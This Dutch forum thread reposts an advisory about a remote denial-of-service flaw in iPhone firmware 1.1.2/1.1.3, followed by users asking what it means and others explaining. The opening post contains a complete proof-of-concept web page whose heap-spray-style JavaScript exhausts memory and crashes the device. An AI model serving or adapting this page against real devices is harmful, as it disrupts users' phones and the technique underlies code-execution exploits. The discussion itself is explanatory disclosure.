iCulture forum | iPhone, iPad, iPod touch, Apple TV en iOS

- iPhone algemeen (https://forum.iculture.nl/f28/iphone/f32/iphone-algemeen/)

- - iPhone Dos 1.1.2/1.1.3 (https://forum.iculture.nl/f28/iphone/f32/iphone-algemeen/7942-iphone-dos-1-1-2-1-1-3-a.html)

iPhone Dos 1.1.2/1.1.3

Version affected: 1.1.2 and 1.1.3

Overview:
The Apple iPhone remote DoS for 1.1.2 was discovered by c0ntex, but it actually works on 1.1.3 as well. After further research it also appears that this was a known issue with Firefox version 1.5.04 and was effected cross-platform.

Called Mozilla Firefox JavaScript navigator Object Vulnerability.
DE TIP IS DUS: -> I recommend you disable Java until Apple releases a fix or patch.

___________________________________

Proof of Concept (PoC):

Code:

<html><body><script>

 

function Demo() {

 

var shellcode;

 

var addr;

 

var fill;

 

alert('attempting a crash!');

 

shellcode = unescape('%u0c0c');

 

fill = unescape('쳌');

 

addr = 0x02020202;

 

var b = fill;

 

while (b.length <= 0x40000) b+=b;

 

var c = new Array();

 

for (var i =0; i<36; i++) {

 

c[i] =

 

b.substring(0, 0x100000 - shellcode.length) + shellcode +

 

b.substring(0, 0x100000 - shellcode.length) + shellcode +

 

b.substring(0, 0x100000 - shellcode.length) + shellcode +

 

b.substring(0, 0x100000 - shellcode.length) + shellcode;

 

}

 

}

 

</script>

 

<input type='button' onClick='Demo()' value='Go!'>

 

</body></html>

BRON

ehm wat is remote dos?
en wat betekenen die tekentjes?
ik ken nx van programmere ;)
ik voel me plotseling zo dom.....
:D

Remote DOS is Denial Of Service.

uhm.. misschien ben ik gek, maar ik weet nog steeds niet wat dit precies inhoud.. Kan je wat meer info geven.

Qua programmeertaal zie ik wel dat er vanalles gebeurd, maar wat gebeurd er precies??

dus als ik het een beetje begrijp dient dit om je computer binnen te hacken vanaf je iPhone....
juist?

@ Jeekes

Het is juist andersom, dus als jij met je iPhone een site bezoekt die dus met dat is "besmet" dan laat dat site een code achter op je iPhone wat jouw systeem geheugen "opeet"..

Zie deze (Engelse) uitleg hierover:

Citaat:

DoS attack on iPhone causes memory leak, freeze

iPhone owners should be on guard against a new threat, which fortunately doesn't harm the device, but still induces a freeze by taking all available system memory. According to security firm SecurityFocus, the vulnerability is exposed by a Denial of Service attack, when a maliciously crafted webpage is viewed. The page will insert code into the iPhone, which continually eats up available system memory before causing a kernel panic. While not the first attack on the iPhone, SecurityFocus believes it could be harmful to the device's wellbeing by potentially executing remote code.

The DoS exploit has been verified to work on the 1.1.2 iPhone firmware; Apple has not commented on the issue.

hier staat dat het op 1.1.2 voorkomt maar in de topic zelf staat dus dat het ook op 1.1.3 voorkomt.

idd, daarom kun je dus debug console in safari aanzetten zodat je kunt zien of je die fout binnen krijgt met safari.

ah daar had ik al van gehoord, maar niet onder die naam :p
dank voor de verhelderende uitleg